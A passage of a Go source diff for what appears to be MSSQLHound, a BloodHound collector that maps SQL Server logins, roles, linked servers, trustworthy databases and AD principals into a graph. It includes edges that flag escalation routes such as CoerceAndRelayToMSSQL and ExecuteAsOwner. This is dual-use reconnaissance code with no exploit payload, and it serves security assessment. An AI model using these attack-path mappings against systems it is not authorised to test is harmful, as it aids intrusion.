m.Name + } + props["memberOfRoles"] = roleNames + } + + // Add explicit permissions + if len(principal.Permissions) > 0 { + perms := make([]string, len(principal.Permissions)) + for i, p := range principal.Permissions { + perms[i] = p.Permission + } + props["explicitPermissions"] = perms + } + + return &bloodhound.Node{ + ID: principal.ObjectIdentifier, + Kinds: kinds, + Properties: props, + Icon: icon, + } +} + +// createADNodes creates BloodHound nodes for Active Directory principals referenced by SQL logins +func (c *Collector) createADNodes(serverInfo *types.ServerInfo) error { + createdNodes := make(map[string]bool) + + // addADNode adds a node to the appropriate collector-level AD list (deduplicated across servers) + addADNode := func(node *bloodhound.Node) { + c.adNodesMu.Lock() + defer c.adNodesMu.Unlock() + + if c.adSeenNodes[node.ID] { + return + } + c.adSeenNodes[node.ID] = true + + // Categorize by primary kind (first element) + switch node.Kinds[0] { + case bloodhound.NodeKinds.Computer: + c.adComputers = append(c.adComputers, node) + case bloodhound.NodeKinds.Group: + c.adGroups = append(c.adGroups, node) + default: + c.adUsers = append(c.adUsers, node) + } + } + + // Create Computer node for the server's host computer (matching PowerShell behavior) + if serverInfo.ComputerSID != "" { + // Use FQDN as display name (matching PowerShell behavior which uses DNSHostName) + displayName := serverInfo.FQDN + if displayName == "" { + displayName = serverInfo.Hostname + } + + // Build SAMAccountName (hostname$) + hostname := serverInfo.Hostname + if idx := strings.Index(hostname, "."); idx > 0 { + hostname = hostname[:idx] // Extract short hostname from FQDN + } + samAccountName := strings.ToUpper(hostname) + "$" + + node := &bloodhound.Node{ + ID: serverInfo.ComputerSID, + Kinds: []string{bloodhound.NodeKinds.Computer, "Base"}, + Properties: map[string]interface{}{ + "name": displayName, + "DNSHostName": serverInfo.FQDN, + "domain": c.config.Domain, + "isDomainPrincipal": true, + "SID": serverInfo.ComputerSID, + "SAMAccountName": samAccountName, + }, + } + addADNode(node) + createdNodes[serverInfo.ComputerSID] = true + } + + // Track if we need to create Authenticated Users node for CoerceAndRelayToMSSQL + needsAuthUsersNode := false + + // Check for computer accounts with EPA disabled (CoerceAndRelayToMSSQL condition) + if serverInfo.ExtendedProtection == "Off" { + for _, principal := range serverInfo.ServerPrincipals { + if principal.IsActiveDirectoryPrincipal && + strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") && + strings.HasSuffix(principal.Name, "$") && + !principal.IsDisabled { + needsAuthUsersNode = true + break + } + } + } + + // Create Authenticated Users node if needed + if needsAuthUsersNode { + authedUsersSID := "S-1-5-11" + if c.config.Domain != "" { + authedUsersSID = c.config.Domain + "-S-1-5-11" + } + + if !createdNodes[authedUsersSID] { + node := &bloodhound.Node{ + ID: authedUsersSID, + Kinds: []string{bloodhound.NodeKinds.Group, "Base"}, + Properties: map[string]interface{}{ + "name": "AUTHENTICATED USERS@" + c.config.Domain, + }, + } + addADNode(node) + createdNodes[authedUsersSID] = true + } + } + + // Resolve domain login SIDs via LDAP for AD enrichment (matching PowerShell behavior). + // This provides properties like SAMAccountName, distinguishedName, DNSHostName, etc. + resolvedPrincipals := make(map[string]*types.DomainPrincipal) + if c.config.Domain != "" { + adClient := c.newADClient(c.config.Domain) + if adClient != nil { + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") { + continue + } + if _, already := resolvedPrincipals[principal.SecurityIdentifier]; already { + continue + } + resolved, err := adClient.ResolveSID(principal.SecurityIdentifier) + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + break + } + if err == nil && resolved != nil { + resolvedPrincipals[principal.SecurityIdentifier] = resolved + } + } + adClient.Close() + } + } + + // Create nodes for domain principals with SQL logins + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + + // Only process SIDs from the domain, skip NT AUTHORITY, NT SERVICE, and local accounts + // The DomainSID (e.g., S-1-5-21-462691900-2967613020-3702357964) identifies domain principals + if serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-") { + continue + } + + // Skip disabled logins and those without CONNECT SQL + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + // Also check if member of sysadmin or securityadmin (they have implicit CONNECT SQL) + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // Skip if already created + if createdNodes[principal.SecurityIdentifier] { + continue + } + + // Determine the node kind based on the principal name + var kinds []string + if strings.HasSuffix(principal.Name, "$") { + kinds = []string{bloodhound.NodeKinds.Computer, "Base"} + } else if strings.Contains(principal.TypeDescription, "GROUP") { + kinds = []string{bloodhound.NodeKinds.Group, "Base"} + } else { + kinds = []string{bloodhound.NodeKinds.User, "Base"} + } + + // Build the display name with domain + displayName := principal.Name + if c.config.Domain != "" && !strings.Contains(displayName, "@") { + displayName = principal.Name + "@" + c.config.Domain + } + + nodeProps := map[string]interface{}{ + "name": displayName, + "isDomainPrincipal": true, + "SID": principal.SecurityIdentifier, + } + + // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior) + if resolved, ok := resolvedPrincipals[principal.SecurityIdentifier]; ok { + nodeProps["SAMAccountName"] = resolved.SAMAccountName + nodeProps["domain"] = resolved.Domain + nodeProps["isEnabled"] = resolved.Enabled + if resolved.DistinguishedName != "" { + nodeProps["distinguishedName"] = resolved.DistinguishedName + } + if resolved.DNSHostName != "" { + nodeProps["DNSHostName"] = resolved.DNSHostName + } + if resolved.UserPrincipalName != "" { + nodeProps["userPrincipalName"] = resolved.UserPrincipalName + } + } + + node := &bloodhound.Node{ + ID: principal.SecurityIdentifier, + Kinds: kinds, + Properties: nodeProps, + } + addADNode(node) + createdNodes[principal.SecurityIdentifier] = true + } + + // Create nodes for local groups with SQL logins + // This handles both BUILTIN groups (S-1-5-32-*) and machine-local groups + // (S-1-5-21-* SIDs that don't match the domain SID, e.g. ConfigMgr_DViewAccess) + for _, principal := range serverInfo.ServerPrincipals { + if principal.SecurityIdentifier == "" { + continue + } + + // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups + // Machine-local groups have S-1-5-21-* SIDs belonging to the machine, not the domain + isLocalGroup := false + if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") { + isLocalGroup = true + } else if principal.TypeDescription == "WINDOWS_GROUP" && + strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") && + (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) { + isLocalGroup = true + } + if !isLocalGroup { + continue + } + + // Skip disabled logins + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // ObjectID format: {serverFQDN}-{SID} + groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier + + // Skip if already created + if createdNodes[groupObjectID] { + continue + } + + node := &bloodhound.Node{ + ID: groupObjectID, + Kinds: []string{bloodhound.NodeKinds.Group, "Base"}, + Properties: map[string]interface{}{ + "name": principal.Name, + "isActiveDirectoryPrincipal": principal.IsActiveDirectoryPrincipal, + }, + } + addADNode(node) + createdNodes[groupObjectID] = true + } + + // Create nodes for service accounts + for _, sa := range serverInfo.ServiceAccounts { + saID := sa.SID + if saID == "" { + saID = sa.ObjectIdentifier + } + if saID == "" || createdNodes[saID] { + continue + } + + // Skip if not a domain SID + if !strings.HasPrefix(saID, "S-1-5-21-") { + continue + } + + // Determine kind based on account name + var kinds []string + if strings.HasSuffix(sa.Name, "$") { + kinds = []string{bloodhound.NodeKinds.Computer, "Base"} + } else { + kinds = []string{bloodhound.NodeKinds.User, "Base"} + } + + // Format display name to match PowerShell behavior: + // PS uses Resolve-DomainPrincipal which returns UserPrincipalName, DNSHostName, + // or SAMAccountName (in that priority order). For user accounts without UPN, + // this is just the bare account name (e.g., "sccmsqlsvc" not "DOMAIN\sccmsqlsvc"). + // For computer accounts, resolveServiceAccountSIDsViaLDAP already sets Name to FQDN. + displayName := sa.Name + if idx := strings.Index(displayName, "\\"); idx != -1 { + displayName = displayName[idx+1:] + } + + nodeProps := map[string]interface{}{ + "name": displayName, + } + + // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior) + if sa.ResolvedPrincipal != nil { + nodeProps["isDomainPrincipal"] = true + nodeProps["SID"] = sa.ResolvedPrincipal.SID + nodeProps["SAMAccountName"] = sa.ResolvedPrincipal.SAMAccountName + nodeProps["domain"] = sa.ResolvedPrincipal.Domain + nodeProps["isEnabled"] = sa.ResolvedPrincipal.Enabled + if sa.ResolvedPrincipal.DistinguishedName != "" { + nodeProps["distinguishedName"] = sa.ResolvedPrincipal.DistinguishedName + } + if sa.ResolvedPrincipal.DNSHostName != "" { + nodeProps["DNSHostName"] = sa.ResolvedPrincipal.DNSHostName + } + if sa.ResolvedPrincipal.UserPrincipalName != "" { + nodeProps["userPrincipalName"] = sa.ResolvedPrincipal.UserPrincipalName + } + } + + node := &bloodhound.Node{ + ID: saID, + Kinds: kinds, + Properties: nodeProps, + } + addADNode(node) + createdNodes[saID] = true + } + + // Create nodes for credential targets (HasMappedCred, HasDBScopedCred, HasProxyCred) + // This matches PowerShell's credential Base node creation at MSSQLHound.ps1:8958-9018 + credentialNodeKind := func(objectClass string) string { + switch objectClass { + case "computer": + return bloodhound.NodeKinds.Computer + case "group": + return bloodhound.NodeKinds.Group + default: + return bloodhound.NodeKinds.User + } + } + + addCredentialNode := func(sid string, principal *types.DomainPrincipal) { + if sid == "" || createdNodes[sid] { + return + } + kind := credentialNodeKind(principal.ObjectClass) + props := map[string]interface{}{ + "name": principal.Name, + "domain": principal.Domain, + "isDomainPrincipal": true, + "SID": principal.SID, + "SAMAccountName": principal.SAMAccountName, + "isEnabled": principal.Enabled, + } + if principal.DistinguishedName != "" { + props["distinguishedName"] = principal.DistinguishedName + } + if principal.DNSHostName != "" { + props["DNSHostName"] = principal.DNSHostName + } + if principal.UserPrincipalName != "" { + props["userPrincipalName"] = principal.UserPrincipalName + } + node := &bloodhound.Node{ + ID: sid, + Kinds: []string{kind, "Base"}, + Properties: props, + } + addADNode(node) + createdNodes[sid] = true + } + + // Server-level credentials + for _, cred := range serverInfo.Credentials { + if cred.ResolvedPrincipal != nil { + addCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal) + } + } + + // Database-scoped credentials + for _, db := range serverInfo.Databases { + for _, cred := range db.DBScopedCredentials { + if cred.ResolvedPrincipal != nil { + addCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal) + } + } + } + + // Proxy account credentials + for _, proxy := range serverInfo.ProxyAccounts { + if proxy.ResolvedPrincipal != nil { + addCredentialNode(proxy.ResolvedSID, proxy.ResolvedPrincipal) + } + } + + return nil +} + +// createEdges creates all edges for the server +func (c *Collector) createEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error { + // ========================================================================= + // CONTAINS EDGES + // ========================================================================= + + // Server contains databases + for _, db := range serverInfo.Databases { + edge := c.createEdge( + serverInfo.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Contains, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Server contains server principals (logins and server roles) + for _, principal := range serverInfo.ServerPrincipals { + targetType := c.getServerPrincipalType(principal.TypeDescription) + edge := c.createEdge( + serverInfo.ObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Contains, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: principal.Name, + TargetType: targetType, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Database contains database principals (users, roles, application roles) + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + targetType := c.getDatabasePrincipalType(principal.TypeDescription) + edge := c.createEdge( + db.ObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Contains, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: principal.Name, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // OWNERSHIP EDGES + // ========================================================================= + + // Database ownership (login owns database) + for _, db := range serverInfo.Databases { + if db.OwnerObjectIdentifier != "" { + edge := c.createEdge( + db.OwnerObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Owns, + &bloodhound.EdgeContext{ + SourceName: db.OwnerLoginName, + SourceType: bloodhound.NodeKinds.Login, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Server role ownership - look up owner's actual type + serverPrincipalTypeMap := make(map[string]string) + for _, p := range serverInfo.ServerPrincipals { + serverPrincipalTypeMap[p.ObjectIdentifier] = p.TypeDescription + } + for _, principal := range serverInfo.ServerPrincipals { + if principal.TypeDescription == "SERVER_ROLE" && principal.OwningObjectIdentifier != "" { + ownerType := bloodhound.NodeKinds.Login // default for server-level + if td, ok := serverPrincipalTypeMap[principal.OwningObjectIdentifier]; ok { + if td == "SERVER_ROLE" { + ownerType = bloodhound.NodeKinds.ServerRole + } + } + edge := c.createEdge( + principal.OwningObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Owns, + &bloodhound.EdgeContext{ + SourceName: "", // Will be filled by owner lookup + SourceType: ownerType, + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Database role ownership - look up owner's actual type + for _, db := range serverInfo.Databases { + dbPrincipalTypeMap := make(map[string]string) + for _, p := range db.DatabasePrincipals { + dbPrincipalTypeMap[p.ObjectIdentifier] = p.TypeDescription + } + for _, principal := range db.DatabasePrincipals { + if principal.TypeDescription == "DATABASE_ROLE" && principal.OwningObjectIdentifier != "" { + ownerType := bloodhound.NodeKinds.DatabaseUser // default for db-level + if td, ok := dbPrincipalTypeMap[principal.OwningObjectIdentifier]; ok { + switch td { + case "DATABASE_ROLE": + ownerType = bloodhound.NodeKinds.DatabaseRole + case "APPLICATION_ROLE": + ownerType = bloodhound.NodeKinds.ApplicationRole + } + } + edge := c.createEdge( + principal.OwningObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Owns, + &bloodhound.EdgeContext{ + SourceName: "", // Owner name + SourceType: ownerType, + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + + // ========================================================================= + // MEMBEROF EDGES + // ========================================================================= + + // Server role memberships (explicit only - PowerShell doesn't add implicit public membership) + for _, principal := range serverInfo.ServerPrincipals { + for _, role := range principal.MemberOf { + edge := c.createEdge( + principal.ObjectIdentifier, + role.ObjectIdentifier, + bloodhound.EdgeKinds.MemberOf, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: role.Name, + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Database role memberships (explicit only - PowerShell doesn't add implicit public membership) + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + for _, role := range principal.MemberOf { + edge := c.createEdge( + principal.ObjectIdentifier, + role.ObjectIdentifier, + bloodhound.EdgeKinds.MemberOf, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: role.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + + // ========================================================================= + // MAPPING EDGES + // ========================================================================= + + // Login to database user mapping + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + if principal.ServerLogin != nil { + edge := c.createEdge( + principal.ServerLogin.ObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.IsMappedTo, + &bloodhound.EdgeContext{ + SourceName: principal.ServerLogin.Name, + SourceType: bloodhound.NodeKinds.Login, + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.DatabaseUser, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + + // ========================================================================= + // FIXED ROLE PERMISSION EDGES + // ========================================================================= + + // Create edges for fixed role capabilities + if err := c.createFixedRoleEdges(writer, serverInfo); err != nil { + return err + } + + // ========================================================================= + // EXPLICIT PERMISSION EDGES + // ========================================================================= + + // Server principal permissions + if err := c.createServerPermissionEdges(writer, serverInfo); err != nil { + return err + } + + // Database principal permissions + for _, db := range serverInfo.Databases { + if err := c.createDatabasePermissionEdges(writer, &db, serverInfo); err != nil { + return err + } + } + + // ========================================================================= + // LINKED SERVER AND TRUSTWORTHY EDGES + // ========================================================================= + + // Linked servers - one edge per login mapping (matching PowerShell behavior) + for _, linked := range serverInfo.LinkedServers { + // Determine target ObjectIdentifier for linked server + targetID := linked.DataSource + if linked.ResolvedObjectIdentifier != "" { + targetID = linked.ResolvedObjectIdentifier + } + + // Resolve the source server ObjectIdentifier + // PowerShell compares linked.SourceServer to current hostname and resolves chains + sourceID := serverInfo.ObjectIdentifier + if linked.SourceServer != "" && !strings.EqualFold(linked.SourceServer, serverInfo.Hostname) { + // Source is a different server (chained linked server) - resolve its ID + resolvedSourceID := c.resolveLinkedServerSourceID(linked.SourceServer, serverInfo) + if resolvedSourceID != "" { + sourceID = resolvedSourceID + } + } + + // MSSQL_LinkedTo edge with all properties matching PowerShell + edge := c.createEdge( + sourceID, + targetID, + bloodhound.EdgeKinds.LinkedTo, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: linked.Name, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if edge != nil { + // Add linked server specific properties (matching PowerShell) + edge.Properties["dataAccess"] = linked.IsDataAccessEnabled + edge.Properties["dataSource"] = linked.DataSource + edge.Properties["localLogin"] = linked.LocalLogin + edge.Properties["path"] = linked.Path + edge.Properties["product"] = linked.Product + edge.Properties["provider"] = linked.Provider + edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin + edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer + edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin + edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode + edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin + edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin + edge.Properties["remoteLogin"] = linked.RemoteLogin + edge.Properties["rpcOut"] = linked.IsRPCOutEnabled + edge.Properties["usesImpersonation"] = linked.UsesImpersonation + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // MSSQL_LinkedAsAdmin edge if conditions are met: + // - Remote login exists and is a SQL login (no backslash) + // - Remote login has admin privileges (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN) + // - Target server has mixed mode authentication enabled + if linked.RemoteLogin != "" && + !strings.Contains(linked.RemoteLogin, "\\") && + (linked.RemoteIsSysadmin || linked.RemoteIsSecurityAdmin || + linked.RemoteHasControlServer || linked.RemoteHasImpersonateAnyLogin) && + linked.RemoteIsMixedMode { + + edge := c.createEdge( + sourceID, + targetID, + bloodhound.EdgeKinds.LinkedAsAdmin, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: linked.Name, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if edge != nil { + // Add linked server specific properties (matching PowerShell) + edge.Properties["dataAccess"] = linked.IsDataAccessEnabled + edge.Properties["dataSource"] = linked.DataSource + edge.Properties["localLogin"] = linked.LocalLogin + edge.Properties["path"] = linked.Path + edge.Properties["product"] = linked.Product + edge.Properties["provider"] = linked.Provider + edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin + edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer + edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin + edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode + edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin + edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin + edge.Properties["remoteLogin"] = linked.RemoteLogin + edge.Properties["rpcOut"] = linked.IsRPCOutEnabled + edge.Properties["usesImpersonation"] = linked.UsesImpersonation + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Trustworthy databases - create IsTrustedBy and potentially ExecuteAsOwner edges + for _, db := range serverInfo.Databases { + if db.IsTrustworthy { + // Always create IsTrustedBy edge for trustworthy databases + edge := c.createEdge( + db.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.IsTrustedBy, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Check if database owner has high privileges + // (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN) + // Uses nested role/permission checks matching PowerShell's Get-NestedRoleMembership/Get-EffectivePermissions + if db.OwnerObjectIdentifier != "" { + // Find the owner in server principals + var ownerHasSysadmin, ownerHasSecurityadmin, ownerHasControlServer, ownerHasImpersonateAnyLogin bool + var ownerLoginName string + for _, owner := range serverInfo.ServerPrincipals { + if owner.ObjectIdentifier == db.OwnerObjectIdentifier { + ownerLoginName = owner.Name + ownerHasSysadmin = c.hasNestedRoleMembership(owner, "sysadmin", serverInfo) + ownerHasSecurityadmin = c.hasNestedRoleMembership(owner, "securityadmin", serverInfo) + ownerHasControlServer = c.hasEffectivePermission(owner, "CONTROL SERVER", serverInfo) + ownerHasImpersonateAnyLogin = c.hasEffectivePermission(owner, "IMPERSONATE ANY LOGIN", serverInfo) + break + } + } + + if ownerHasSysadmin || ownerHasSecurityadmin || ownerHasControlServer || ownerHasImpersonateAnyLogin { + // Create ExecuteAsOwner edge with metadata properties matching PowerShell + edge := c.createEdge( + db.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAsOwner, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + DatabaseName: db.Name, + }, + ) + if edge != nil { + edge.Properties["database"] = db.Name + edge.Properties["databaseIsTrustworthy"] = db.IsTrustworthy + edge.Properties["ownerHasControlServer"] = ownerHasControlServer + edge.Properties["ownerHasImpersonateAnyLogin"] = ownerHasImpersonateAnyLogin + edge.Properties["ownerHasSecurityadmin"] = ownerHasSecurityadmin + edge.Properties["ownerHasSysadmin"] = ownerHasSysadmin + edge.Properties["ownerLoginName"] = ownerLoginName + edge.Properties["ownerObjectIdentifier"] = db.OwnerObjectIdentifier + edge.Properties["ownerPrincipalID"] = fmt.Sprintf("%d", db.OwnerPrincipalID) + edge.Properties["SQLServer"] = serverInfo.ObjectIdentifier + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + } + + // ========================================================================= + // COMPUTER-SERVER RELATIONSHIP EDGES + // ========================================================================= + + // Create Computer node and edges if we have the computer SID + if serverInfo.ComputerSID != "" { + // MSSQL_HostFor: Computer -> Server + edge := c.createEdge( + serverInfo.ComputerSID, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.HostFor, + &bloodhound.EdgeContext{ + SourceName: serverInfo.Hostname, + SourceType: "Computer", + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // MSSQL_ExecuteOnHost: Server -> Computer + edge = c.createEdge( + serverInfo.ObjectIdentifier, + serverInfo.ComputerSID, + bloodhound.EdgeKinds.ExecuteOnHost, + &bloodhound.EdgeContext{ + SourceName: serverInfo.SQLServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: serverInfo.Hostname, + TargetType: "Computer", + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // ========================================================================= + // AD PRINCIPAL RELATIONSHIP EDGES + // ========================================================================= + + // Create HasLogin and CoerceAndRelayToMSSQL edges from AD principals to their SQL logins + // Match PowerShell logic: iterate enabledDomainPrincipalsWithConnectSQL + // CoerceAndRelayToMSSQL is checked BEFORE the S-1-5-21 filter and dedup (matching PS ordering) + // HasLogin is only created for S-1-5-21-* SIDs with dedup + principalsWithLogin := make(map[string]bool) + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + + // Skip disabled logins + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission (direct or through sysadmin/securityadmin membership) + // This matches PowerShell's $enabledDomainPrincipalsWithConnectSQL filter + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + // Also check sysadmin/securityadmin membership (implies CONNECT SQL) + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // CoerceAndRelayToMSSQL edge if conditions are met: + // - Extended Protection (EPA) is Off + // - Login is for a computer account (name ends with $) + // This is checked BEFORE the S-1-5-21 filter and dedup, matching PowerShell ordering + if serverInfo.ExtendedProtection == "Off" && strings.HasSuffix(principal.Name, "$") { + // Create edge from Authenticated Users (S-1-5-11) to the SQL login + // The SID S-1-5-11 is prefixed with the domain for the full ObjectIdentifier + authedUsersSID := "S-1-5-11" + if c.config.Domain != "" { + authedUsersSID = c.config.Domain + "-S-1-5-11" + } + + edge := c.createEdge( + authedUsersSID, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.CoerceAndRelayTo, + &bloodhound.EdgeContext{ + SourceName: "AUTHENTICATED USERS", + SourceType: "Group", + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + SecurityIdentifier: principal.SecurityIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Only process domain SIDs (S-1-5-21-*) for HasLogin edges + // Skip NT AUTHORITY, NT SERVICE, local accounts, etc. + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") { + continue + } + + // Skip if we already created HasLogin for this SID (dedup) + if principalsWithLogin[principal.SecurityIdentifier] { + continue + } + + principalsWithLogin[principal.SecurityIdentifier] = true + + // MSSQL_HasLogin: AD Principal (SID) -> SQL Login + edge := c.createEdge( + principal.SecurityIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.HasLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: "Base", // Generic AD principal type + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + SQLServerID: serverInfo.ObjectIdentifier, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Create HasLogin edges for local groups that have SQL logins + // This processes ALL local groups (not just BUILTIN S-1-5-32-*), matching 